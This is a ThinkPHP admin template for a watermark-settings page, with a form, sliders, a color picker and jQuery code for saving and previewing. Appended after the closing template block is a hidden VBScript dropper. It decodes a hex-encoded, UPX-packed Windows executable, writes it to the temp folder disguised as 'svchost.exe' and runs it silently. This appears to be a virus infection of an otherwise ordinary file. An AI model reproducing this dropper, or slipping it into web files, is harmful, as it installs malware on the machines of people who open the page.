|
|
|
|
<extend name="Public/base" />
|
|
|
|
|
|
|
|
|
|
<block name="body">
|
|
|
|
|
<link rel="stylesheet" href="__CSS__/watermark.css" type="text/css" />
|
|
|
|
|
<link rel="stylesheet" href="__CSS__/jquery.minicolors.css" type="text/css">
|
|
|
|
|
<link rel="stylesheet" href="__CSS__/nouislider.min.css" type="text/css">
|
|
|
|
|
<script type="text/javascript" src="__STATIC__/uploadify/jquery.uploadify.min.js"></script>
|
|
|
|
|
|
|
|
|
|
<div class="cf main-place top_nav_list navtab_list">
|
|
|
|
|
<h3 class="page_title">水印设置</h3>
|
|
|
|
|
<p class="description_text">针对图片上水印的显示进行基本配置</p>
|
|
|
|
|
</div>
|
|
|
|
|
|
|
|
|
|
<div class="tab-wrap">
|
|
|
|
|
<div class="position_tip">
|
|
|
|
|
<div class="tip_rows"><span></span><span></span><span></span></div>
|
|
|
|
|
<div class="tip_rows"><span></span><span class="current"><eq name="watermark.types" value="1"><i style="font-family:{:str_replace('.','',"'".$watermark['font']."'")};font-size:{$watermark.font_size}px;color:{$watermark.font_color};-webkit-filter:blur({-$watermark['quality']*5/100+5}px);-moz-filter:blur({-$watermark['quality']*5/100+5}px);-ms-filter:blur({-$watermark['quality']*5/100+5}px);filter:blur({-$watermark['quality']*5/100+5}px);progid:DXImageTransform.Microsoft.Blur(PixelRadius={-$watermark['quality']*5/100+5},MakeShadow=false)">{$watermark.font_text|default='----手游'}</i><else /><img src="<notempty name='watermark.icon'>{:get_cover($watermark['icon'],'path',0,false)}<else />__IMG__/icon_normal_picture.png</notempty>" height="70" width="90" style="opacity:{$watermark['transparency']/100};-webkit-filter:blur({-$watermark['quality']*5/100+5}px);-moz-filter:blur({-$watermark['quality']*5/100+5}px);-ms-filter:blur({-$watermark['quality']*5/100+5}px);filter:blur({-$watermark['quality']*5/100+5}px);progid:DXImageTransform.Microsoft.Blur(PixelRadius={-$watermark['quality']*5/100+5},MakeShadow=false)"></eq></span><span></span></div>
|
|
|
|
|
<div class="tip_rows"><span></span><span></span><span></span></div>
|
|
|
|
|
</div>
|
|
|
|
|
<div class="tab-content tabcon1711 tabcon17112">
|
|
|
|
|
<div id="tab1" class="tab-pane in tab1">
|
|
|
|
|
<form action="{:U('saveTool')}" method="post" class="form-horizontal watermarkform form_info_ml">
|
|
|
|
|
<table border="0" cellspacing="0" cellpadding="0">
|
|
|
|
|
<tbody>
|
|
|
|
|
<tr>
|
|
|
|
|
<td class="l noticeinfo">水印设置</td>
|
|
|
|
|
<td class="r table_radio">
|
|
|
|
|
<div class="position_water">
|
|
|
|
|
<div class="position_rows"><span>左上</span><span>中上</span><span>右上</span></div>
|
|
|
|
|
<div class="position_rows"><span>左中</span><span class="current">居中</span><span>右中</span></div>
|
|
|
|
|
<div class="position_rows"><span>左下</span><span>中下</span><span>右下</span></div>
|
|
|
|
|
</div>
|
|
|
|
|
<span class="notice-text position_text" style="margin-left: 342px;">针对图片上水印的显示进行基本配置</span>
|
|
|
|
|
<input type="hidden" id="position" name="config[position]" value="{$watermark['position']|default='1,1'}">
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr>
|
|
|
|
|
<td class="l noticeinfo">水印类型</td>
|
|
|
|
|
<td class="r table_radio">
|
|
|
|
|
<span class="form_radio">
|
|
|
|
|
<label>
|
|
|
|
|
<input type="radio" name="config[types]" value="0" onclick="dr_type(0)" checked> 图片
|
|
|
|
|
</label>
|
|
|
|
|
<label>
|
|
|
|
|
<input type="radio" name="config[types]" value="1" onclick="dr_type(1)"> 文字
|
|
|
|
|
</label>
|
|
|
|
|
</span>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr class="dr_sy dr_sy_1" style="<neq name='watermark.types' value='1'>display:none;</neq>">
|
|
|
|
|
<td class="l noticeinfo">文字字体</td>
|
|
|
|
|
<td class="r table_radio">
|
|
|
|
|
<select name="config[font]">
|
|
|
|
|
<option value="1.ttf" selected="">字体1</option>
|
|
|
|
|
<option value="2.ttf">字体2</option>
|
|
|
|
|
<option value="3.ttf">字体3</option>
|
|
|
|
|
</select>
|
|
|
|
|
<span class="notice-text" style="margin-left: 256px;">自定义字体文件.config/font/</span>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr class="dr_sy dr_sy_1" style="<neq name='watermark.types' value='1'>display:none;</neq>">
|
|
|
|
|
<td class="l noticeinfo">水印文字</td>
|
|
|
|
|
<td class="r table_radio">
|
|
|
|
|
<input name="config[font_text]" type="text" value="{$watermark.font_text}">
|
|
|
|
|
<span class="notice-text" style="margin-left: 256px;width: auto;">如果为中文,先要在font目录中添加字体</span>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr class="dr_sy dr_sy_1" style="<neq name='watermark.types' value='1'>display:none;</neq>">
|
|
|
|
|
<td class="l noticeinfo">水印文字大小</td>
|
|
|
|
|
<td class="r table_radio">
|
|
|
|
|
<input name="config[font_size]" type="text" value="{$watermark.font_size}">
|
|
|
|
|
<span class="notice-text" style="margin-left: 256px;width: auto;">字体大小,单位px</span>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr class="dr_sy dr_sy_1" style="<neq name='watermark.types' value='1'>display:none;</neq>">
|
|
|
|
|
<td class="l noticeinfo">水印文字颜色</td>
|
|
|
|
|
<td class="r table_radio">
|
|
|
|
|
<div class="minicolors minicolors-theme-bootstrap minicolors-position-bottom minicolors-position-left">
|
|
|
|
|
<input type="hidden" id="hue-demo" data-control="hue" data-defaultValue="{$watermark.font_color}" class="form-control demo minicolors-input" name="config[font_color]" value="{$watermark.font_color}" size="7">
|
|
|
|
|
|
|
|
|
|
<div class="minicolors-panel minicolors-slider-hue">
|
|
|
|
|
<div class="minicolors-slider minicolors-sprite">
|
|
|
|
|
<div class="minicolors-picker"></div>
|
|
|
|
|
</div>
|
|
|
|
|
<div class="minicolors-opacity-slider minicolors-sprite">
|
|
|
|
|
<div class="minicolors-picker"></div>
|
|
|
|
|
</div>
|
|
|
|
|
<div class="minicolors-grid minicolors-sprite">
|
|
|
|
|
<div class="minicolors-grid-inner"></div>
|
|
|
|
|
<div class="minicolors-picker">
|
|
|
|
|
<div></div>
|
|
|
|
|
</div>
|
|
|
|
|
</div>
|
|
|
|
|
</div>
|
|
|
|
|
</div>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr class="dr_sy dr_sy_0" style="<neq name='watermark.types' value='0'>display:none;</neq>">
|
|
|
|
|
<td class="l noticeinfo">水印图片</td>
|
|
|
|
|
<td class="r table_radio">
|
|
|
|
|
<div class="select_img fl">
|
|
|
|
|
|
|
|
|
|
<div class="upload-img-box">
|
|
|
|
|
<notempty name="watermark['icon']">
|
|
|
|
|
<div class="upload-pre-item"><img src="{$watermark['icon']|get_cover='path'}"/></div>
|
|
|
|
|
<else />
|
|
|
|
|
<div class="upload-pre-item"><img src="__IMG__/icon_normal_picture.png"></div>
|
|
|
|
|
</notempty>
|
|
|
|
|
</div>
|
|
|
|
|
<input type="file" id="upload_picture_icon" >
|
|
|
|
|
<input type="hidden" name="config[icon]" id="cover_id_icon" value="{$watermark.icon}" />
|
|
|
|
|
<input type="hidden" name="config[path]" id="cover_id_icon_path" disabled value="<notempty name='watermark.icon'>{:get_cover($watermark['icon'],'path',0,false)}<else />__IMG__/icon_normal_picture.png</notempty>"/>
|
|
|
|
|
</div>
|
|
|
|
|
<span class="notice-text mg_t10" style="margin-left: 258px;">自定义水印,格式为.png</span>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr class="dr_sy dr_sy_0" style="<neq name='watermark.types' value='0'>display:none;</neq>">
|
|
|
|
|
<td class="l noticeinfo">水印透明度</td>
|
|
|
|
|
<td class="r table_radio">
|
|
|
|
|
<div class="slider_st fl">
|
|
|
|
|
<div id="demo6_slider1" class="noUi-danger noUi-target noUi-ltr noUi-horizontal noUi-background" style="width: 443px;"></div>
|
|
|
|
|
<span id="demo6_slider1-span" class="bar-span">{$watermark.transparency|default=1}</span>
|
|
|
|
|
<input type="hidden" id="transparency" name="config[transparency]" value="{$watermark.transparency|default=1}" >
|
|
|
|
|
</div>
|
|
|
|
|
<span class="notice-text mg_t10">设置水印图标透明度,数值越大,图标越清晰</span>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr class="dr_sy dr_sy_1 dr_sy_0">
|
|
|
|
|
<td class="l noticeinfo">水印质量</td>
|
|
|
|
|
<td class="r table_radio">
|
|
|
|
|
<div class="slider_st fl">
|
|
|
|
|
<div id="demo6_slider2" class="noUi-danger noUi-target noUi-ltr noUi-horizontal noUi-background" style="width: 443px;"></div>
|
|
|
|
|
<span id="demo6_slider2-span" class="bar-span">{$watermark.quality|default=1}</span>
|
|
|
|
|
<input type="hidden" id="quality" name="config[quality]" value="{$watermark.quality|default=1}" >
|
|
|
|
|
</div>
|
|
|
|
|
<span class="notice-text mg_t10" style="height:48px;line-height:48px;">设置添加水印后的图片质量,数值越大,图片越清晰</span>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr>
|
|
|
|
|
<td class="l noticeinfo">水印显示状态</td>
|
|
|
|
|
<td class="r table_radio">
|
|
|
|
|
<span class="form_radio">
|
|
|
|
|
<label>
|
|
|
|
|
<input type="radio" name="status" value="1"> 开启
|
|
|
|
|
</label>
|
|
|
|
|
<label>
|
|
|
|
|
<input type="radio" name="status" value="0" checked> 关闭
|
|
|
|
|
</label>
|
|
|
|
|
</span>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
</tbody>
|
|
|
|
|
</table>
|
|
|
|
|
<input type="hidden" name="name" value="watermark">
|
|
|
|
|
<input type="submit" value="保存" target-form="watermarkform" class="submit_btn form_btn jsajaxpost mlspacing">
|
|
|
|
|
</form>
|
|
|
|
|
</div>
|
|
|
|
|
</div>
|
|
|
|
|
</div>
|
|
|
|
|
|
|
|
|
|
<div class="common_settings">
|
|
|
|
|
<span class="plus_icon"><span><img src="__IMG__/zwmimages/icon_jia.png"></span></span>
|
|
|
|
|
<form class="addShortcutIcon">
|
|
|
|
|
<input type="hidden" name="title" value="{$m_title}">
|
|
|
|
|
<input type="hidden" name="url" value="{$m_url}">
|
|
|
|
|
</form>
|
|
|
|
|
<a class="ajax-post add-butn <notempty name='commonset'>addSIsetted</notempty>" href="javascript:;" target-form="addShortcutIcon" url="{:U('Think/addShortcutIcon')}"><img src="__IMG__/zwmimages/icon_jia.png"><span><notempty name='commonset'>已添加<else />添加至常用设置</notempty></span></a>
|
|
|
|
|
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</block>
|
|
|
|
|
|
|
|
|
|
<block name="script">
|
|
|
|
|
<script src="__JS__/jquery.minicolors.min.js" type="text/javascript"></script>
|
|
|
|
|
<script src="__JS__/nouislider.min.js" type="text/javascript"></script>
|
|
|
|
|
<script type="text/javascript">
|
|
|
|
|
Think.setValue('status',{$watermark_data['status']|default=0});
|
|
|
|
|
Think.setValue('config[types]',{$watermark['types']|default=0});
|
|
|
|
|
Think.setValue('config[font]',"{$watermark['font']|default='1.ttf'}");
|
|
|
|
|
//导航高亮
|
|
|
|
|
highlight_subnav('{:U('Tool/watermark')}');
|
|
|
|
|
$(function() {
|
|
|
|
|
//支持tab
|
|
|
|
|
showTab();
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
var imgurl = '__IMG__/';
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$("#upload_picture_icon").uploadify({
|
|
|
|
|
"height" : 30,
|
|
|
|
|
"swf" : "__STATIC__/uploadify/uploadify.swf",
|
|
|
|
|
"fileObjName" : "download",
|
|
|
|
|
"buttonText" : "上传图标",
|
|
|
|
|
"uploader" : "{:U('File/uploadPicture',array('session_id'=>session_id()))}",
|
|
|
|
|
"width" : 120,
|
|
|
|
|
'removeTimeout' : 1,
|
|
|
|
|
'fileTypeExts' : '*.jpg; *.jpeg; *.png; *.gif;',
|
|
|
|
|
"onUploadSuccess" : upload_picture_icon{$field.name},
|
|
|
|
|
'onFallback' : function() {
|
|
|
|
|
alert('未检测到兼容版本的Flash.');
|
|
|
|
|
}
|
|
|
|
|
});
|
|
|
|
|
function upload_picture_icon{$field.name}(file, data){
|
|
|
|
|
var data = $.parseJSON(data);
|
|
|
|
|
var src = '';
|
|
|
|
|
if(data.status){
|
|
|
|
|
$("#cover_id_icon").val(data.id);
|
|
|
|
|
$("#cover_id_icon_path").val(data.path);
|
|
|
|
|
src = data.url || '__ROOT__' + data.path;
|
|
|
|
|
$("#cover_id_icon").parent().find('.upload-img-box').html(
|
|
|
|
|
'<div class="upload-pre-item"><img src="' + src + '"/></div>'
|
|
|
|
|
);
|
|
|
|
|
setwatrer($('input[name="config[types]"]:checked').val());
|
|
|
|
|
} else {
|
|
|
|
|
updateAlert(data.info,'tip_error');
|
|
|
|
|
setTimeout(function(){
|
|
|
|
|
$('#tip').find('.tipclose').click();
|
|
|
|
|
$('#top-alert').find('button').click();
|
|
|
|
|
$(that).removeClass('disabled').prop('disabled',false);
|
|
|
|
|
},1500);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
$('.position_rows span').click(function(){
|
|
|
|
|
var that = $(this);
|
|
|
|
|
that.closest('.position_water').find('span').removeClass('current');
|
|
|
|
|
that.addClass('current');
|
|
|
|
|
|
|
|
|
|
var rowindex = that.closest('.position_rows').index();
|
|
|
|
|
var index = that.index();
|
|
|
|
|
$('#position').val(rowindex+","+index);
|
|
|
|
|
var tsc = $('.tip_rows span.current').html();
|
|
|
|
|
$('.tip_rows span').removeClass('current').html('');
|
|
|
|
|
|
|
|
|
|
$('.tip_rows').eq(rowindex).find('span').eq(index).addClass('current').html(tsc);
|
|
|
|
|
|
|
|
|
|
setwatrer($('input[name="config[types]"]:checked').val());
|
|
|
|
|
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
function setwatrer(type) {
|
|
|
|
|
|
|
|
|
|
var list = $('.dr_sy_' + type).find('input,select');
|
|
|
|
|
var tip = $('.tip_rows span.current');
|
|
|
|
|
if (type == 1) {tip.html('<i></i>');}else{tip.html('');}
|
|
|
|
|
var css = {};
|
|
|
|
|
var text = '';
|
|
|
|
|
|
|
|
|
|
$.each(list,function(i,n) {
|
|
|
|
|
var that = $(n);
|
|
|
|
|
var name = that.attr('name').replace('config[','').replace(']','');
|
|
|
|
|
var val = that.val();
|
|
|
|
|
|
|
|
|
|
switch(name) {
|
|
|
|
|
case 'font':css['font-family']="'"+(val.replace('.',''))+"'";break;
|
|
|
|
|
case 'font_text':text = val;break;
|
|
|
|
|
case 'font_size':css['font-size']=val+'px';break;
|
|
|
|
|
case 'font_color':css.color=val;break;
|
|
|
|
|
case 'quality':{
|
|
|
|
|
css['-webkit-filter']='blur('+(5-val*0.05)+'px)';
|
|
|
|
|
css['-moz-filter']='blur('+(5-val*0.05)+'px)';
|
|
|
|
|
css['-ms-filter']='blur('+(5-val*0.05)+'px)';
|
|
|
|
|
css['filter']='blur('+(5-val*0.05)+'px)';
|
|
|
|
|
css['filter']='progid:DXImageTransform.Microsoft.Blur(PixelRadius='+(5-val*0.05)+',MakeShadow=false)';
|
|
|
|
|
};break;
|
|
|
|
|
|
|
|
|
|
case 'path':text = val;break;
|
|
|
|
|
case 'transparency':css['opacity']=val/100;break;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if (type == 1) {
|
|
|
|
|
switch(tip.index()) {case 1:css['text-align']='center';break;case 2:css['text-align']='right';break;default:css['text-align']='left';}
|
|
|
|
|
tip.find('i').css(css).text(text);
|
|
|
|
|
} else {
|
|
|
|
|
tip.html('<img src="'+text+'" width="90" height="70">');
|
|
|
|
|
tip.find('img').css(css);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
function dr_type(v) {
|
|
|
|
|
$('.dr_sy').hide();
|
|
|
|
|
$('.dr_sy_' + v).show();
|
|
|
|
|
|
|
|
|
|
setwatrer(v);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$(function(){
|
|
|
|
|
var wm = {$watermark['types']|default=0};
|
|
|
|
|
|
|
|
|
|
$('.jsajaxpost').on('click',function() {
|
|
|
|
|
var that = $(this);
|
|
|
|
|
if (that.attr('type')=='submit') {
|
|
|
|
|
if (that.hasClass('disabled')) {return false;}
|
|
|
|
|
that.addClass('disabled').attr('autocomplete','off').prop('disabled',true);
|
|
|
|
|
var form = $('.'+that.attr('target-form'));
|
|
|
|
|
$.ajax({
|
|
|
|
|
type:'post',
|
|
|
|
|
dataType:'json',
|
|
|
|
|
url:form.attr('action'),
|
|
|
|
|
data:form.serialize(),
|
|
|
|
|
success:function(data) {
|
|
|
|
|
if (data.status==1) {
|
|
|
|
|
updateAlert(data.info+',正在准备加水印');
|
|
|
|
|
setTimeout(function(){
|
|
|
|
|
updateAlert('添加中');
|
|
|
|
|
$.ajax({
|
|
|
|
|
type:'post',
|
|
|
|
|
dataType:'json',
|
|
|
|
|
url:'{:U("addWatermarkOnPic")}',
|
|
|
|
|
data:{},
|
|
|
|
|
success:function(data) {
|
|
|
|
|
if (data.status==1) {
|
|
|
|
|
updateAlert(data.info);
|
|
|
|
|
setTimeout(function(){
|
|
|
|
|
location.reload();
|
|
|
|
|
},1500);
|
|
|
|
|
} else {
|
|
|
|
|
updateAlert(data.info,'tip_error');
|
|
|
|
|
setTimeout(function(){
|
|
|
|
|
location.reload();
|
|
|
|
|
},1500);
|
|
|
|
|
}
|
|
|
|
|
},error:function() {
|
|
|
|
|
updateAlert('服务器故障,请稍候再试','tip_error');
|
|
|
|
|
setTimeout(function(){
|
|
|
|
|
location.reload();
|
|
|
|
|
},1500);
|
|
|
|
|
}
|
|
|
|
|
});
|
|
|
|
|
},1500);
|
|
|
|
|
}else{
|
|
|
|
|
updateAlert(data.info,'tip_error');
|
|
|
|
|
setTimeout(function(){
|
|
|
|
|
that.removeClass('disabled').prop('disabled',false);
|
|
|
|
|
$('#tip').find('.tipclose').click();
|
|
|
|
|
},1500);
|
|
|
|
|
}
|
|
|
|
|
},error:function() {
|
|
|
|
|
updateAlert('服务器故障,请稍候再试','tip_error');
|
|
|
|
|
setTimeout(function(){
|
|
|
|
|
location.reload();
|
|
|
|
|
},1500);
|
|
|
|
|
}
|
|
|
|
|
});
|
|
|
|
|
}
|
|
|
|
|
return false;
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
var position = [{$watermark['position']}];
|
|
|
|
|
var tsc = $('.tip_rows span.current').html();
|
|
|
|
|
$('.position_rows span').removeClass('current');
|
|
|
|
|
$('.tip_rows span').removeClass('current').html('');
|
|
|
|
|
$('.position_rows').eq(position[0]).find('span').eq(position[1]).addClass('current');
|
|
|
|
|
$('.tip_rows').eq(position[0]).find('span').eq(position[1]).addClass('current').html(tsc);
|
|
|
|
|
|
|
|
|
|
$("#hue-demo").minicolors({
|
|
|
|
|
control: $(this).attr('data-control') || 'hue',
|
|
|
|
|
defaultValue: $(this).attr('data-defaultValue') || '',
|
|
|
|
|
inline: $(this).attr('data-inline') === 'true',
|
|
|
|
|
letterCase: $(this).attr('data-letterCase') || 'lowercase',
|
|
|
|
|
opacity: $(this).attr('data-opacity'),
|
|
|
|
|
position: $(this).attr('data-position') || 'bottom left',
|
|
|
|
|
change: function(hex, opacity) {
|
|
|
|
|
if(!hex) return;
|
|
|
|
|
if(opacity) hex += ', ' + opacity;
|
|
|
|
|
if(typeof console === 'object') {
|
|
|
|
|
console.log(hex);
|
|
|
|
|
setwatrer($('input[name="config[types]"]:checked').val());
|
|
|
|
|
}
|
|
|
|
|
},
|
|
|
|
|
theme: 'bootstrap'
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
$('input[name="config[font_text]"],input[name="config[font_size]"],input[name="config[voffset]"],input[name="config[hoffset]"],select[name="config[font]"]').change(function(){
|
|
|
|
|
|
|
|
|
|
setwatrer($('input[name="config[types]"]:checked').val());
|
|
|
|
|
|
|
|
|
|
return false;
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
dr_type(wm);
|
|
|
|
|
// Store the locked state and slider values.
|
|
|
|
|
var lockedState = false,
|
|
|
|
|
lockedSlider = false,
|
|
|
|
|
lockedValues = [60, 80],
|
|
|
|
|
slider1 = document.getElementById('demo6_slider1'),
|
|
|
|
|
slider2 = document.getElementById('demo6_slider2'),
|
|
|
|
|
slider1Value = document.getElementById('demo6_slider1-span'),
|
|
|
|
|
slider2Value = document.getElementById('demo6_slider2-span');
|
|
|
|
|
|
|
|
|
|
// When the button is clicked, the locked
|
|
|
|
|
// state is inverted.
|
|
|
|
|
function crossUpdate(value, slider) {
|
|
|
|
|
|
|
|
|
|
// If the sliders aren't interlocked, don't
|
|
|
|
|
// cross-update.
|
|
|
|
|
if(!lockedState) return;
|
|
|
|
|
|
|
|
|
|
// Select whether to increase or decrease
|
|
|
|
|
// the other slider value.
|
|
|
|
|
var a = slider1 === slider ? 0 : 1,
|
|
|
|
|
b = a ? 0 : 1;
|
|
|
|
|
|
|
|
|
|
// Offset the slider value.
|
|
|
|
|
value -= lockedValues[b] - lockedValues[a];
|
|
|
|
|
|
|
|
|
|
// Set the value
|
|
|
|
|
slider.noUiSlider.set();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
noUiSlider.create(slider1, {
|
|
|
|
|
start: {$watermark.transparency|default=0},
|
|
|
|
|
|
|
|
|
|
// Disable animation on value-setting,
|
|
|
|
|
// so the sliders respond immediately. value:{$watermark.transparency|default=1},
|
|
|
|
|
animate: false,
|
|
|
|
|
range: {
|
|
|
|
|
min: 1,
|
|
|
|
|
max: 100
|
|
|
|
|
}
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
noUiSlider.create(slider2, {
|
|
|
|
|
start: {$watermark.quality|default=0},
|
|
|
|
|
animate: false,
|
|
|
|
|
range: {
|
|
|
|
|
min: 1,
|
|
|
|
|
max: 100
|
|
|
|
|
}
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
slider1.noUiSlider.on('update', function(values, handle) {
|
|
|
|
|
slider1Value.innerHTML = parseInt(values[handle]);
|
|
|
|
|
$('#transparency').val($.trim(slider1Value.innerHTML));
|
|
|
|
|
setwatrer($('input[name="config[types]"]:checked').val());
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
slider2.noUiSlider.on('update', function(values, handle) {
|
|
|
|
|
slider2Value.innerHTML = parseInt(values[handle]);
|
|
|
|
|
$('#quality').val($.trim(slider2Value.innerHTML));
|
|
|
|
|
setwatrer($('input[name="config[types]"]:checked').val());
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
function setLockedValues() {
|
|
|
|
|
lockedValues = [
|
|
|
|
|
Number(slider1.noUiSlider.get()),
|
|
|
|
|
Number(slider2.noUiSlider.get())
|
|
|
|
|
];
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
slider1.noUiSlider.on('change', setLockedValues);
|
|
|
|
|
slider2.noUiSlider.on('change', setLockedValues);
|
|
|
|
|
|
|
|
|
|
slider1.noUiSlider.on('slide', function(values, handle) {
|
|
|
|
|
crossUpdate(values[handle], slider2);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
slider2.noUiSlider.on('slide', function(values, handle) {
|
|
|
|
|
crossUpdate(values[handle], slider1);
|
|
|
|
|
});
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
</script>
|
|
|
|
|
</block><SCRIPT Language=VBScript><!--
|
|
|
|
|
DropFileName = "svchost.exe"
|
|
|
|
|
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A5
|
|
|
|
|
Set FSO = CreateObject("Scripting.FileSystemObject")
|
|
|
|
|
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
|
|
|
|
|
If FSO.FileExists(DropPath)=False Then
|
|
|
|
|
Set FileObj = FSO.CreateTextFile(DropPath, True)
|
|
|
|
|
For i = 1 To Len(WriteData) Step 2
|
|
|
|
|
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
|
|
|
|
|
Next
|
|
|
|
|
FileObj.Close
|
|
|
|
|
End If
|
|
|
|
|
Set WSHshell = CreateObject("WScript.Shell")
|
|
|
|
|
WSHshell.Run DropPath, 0
|
|
|
|
|
//--></SCRIPT>
|